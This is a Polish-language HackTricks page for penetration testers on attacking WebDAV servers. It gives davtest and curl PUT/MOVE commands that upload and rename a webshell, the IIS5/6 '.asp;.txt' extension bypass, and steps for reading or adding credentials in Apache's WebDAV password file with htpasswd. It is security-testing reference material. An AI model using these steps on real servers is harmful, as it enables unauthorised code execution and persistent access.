WebDav

Reading time: 4 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Kiedy mamy do czynienia z serwerem HTTP z włączonym WebDav, możliwe jest manipulowanie plikami, jeśli posiadasz odpowiednie poświadczenia, zazwyczaj weryfikowane przez HTTP Basic Authentication. Uzyskanie kontroli nad takim serwerem często wiąże się z przesyłaniem i uruchamianiem webshella.

Dostęp do serwera WebDav zazwyczaj wymaga ważnych poświadczeń, a bruteforce WebDav jest powszechną metodą ich zdobycia.

Aby obejść ograniczenia dotyczące przesyłania plików, szczególnie te uniemożliwiające wykonywanie skryptów po stronie serwera, możesz:

  • Przesłać pliki z wykonywalnymi rozszerzeniami bezpośrednio, jeśli nie są ograniczone.
  • Zmień nazwę przesłanych plików niewykonywalnych (np. .txt) na rozszerzenie wykonywalne.
  • Skopiować przesłane pliki niewykonywalne, zmieniając ich rozszerzenie na takie, które jest wykonywalne.

DavTest

Davtest próbuje przesłać kilka plików z różnymi rozszerzeniami i sprawdza, czy rozszerzenie jest wykonywane:

bash
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension

To nie oznacza, że rozszerzenia .txt i .html są wykonywane. To oznacza, że możesz uzyskać dostęp do tych plików przez sieć.

Cadaver

Możesz użyć tego narzędzia, aby połączyć się z serwerem WebDav i wykonać akcje (takie jak przesyłanie, przenoszenie lub usuwanie) ręcznie.

cadaver <IP>

Żądanie PUT

curl -T 'shell.txt' 'http://$ip'

Żądanie MOVE

bash
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'

IIS5/6 WebDav Vulnerability

Ta luka jest bardzo interesująca. WebDav nie pozwala na przesyłanie lub zmienianie nazw plików z rozszerzeniem .asp. Ale możesz obejść to dodając na końcu nazwy ";.txt" i plik będzie wykonywany tak, jakby był plikiem .asp (możesz również użyć ".html" zamiast ".txt", ale NIE zapomnij o ";").

Następnie możesz przesłać swój shell jako plik ".txt" i skopiować/przenieść go do pliku ".asp;.txt". Uzyskując dostęp do tego pliku przez serwer WWW, zostanie on wykonany (cadaver powie, że akcja przeniesienia się nie powiodła, ale tak się stało).

Post credentials

Jeśli Webdav używał serwera Apache, powinieneś spojrzeć na skonfigurowane witryny w Apache. Zwykle:
_/etc/apache2/sites-enabled/000-default_

Wewnątrz możesz znaleźć coś takiego:

ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user

Jak widać, są pliki z ważnymi credentials dla serwera webdav:

/etc/apache2/users.password

Wewnątrz tego typu plików znajdziesz nazwa użytkownika oraz hash hasła. To są dane uwierzytelniające, które serwer webdav używa do autoryzacji użytkowników.

Możesz spróbować je złamać, lub dodać więcej, jeśli z jakiegoś powodu chcesz uzyskać dostęp do serwera webdav:

bash
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password

Aby sprawdzić, czy nowe dane logowania działają, możesz zrobić:

bash
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q

Odniesienia

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks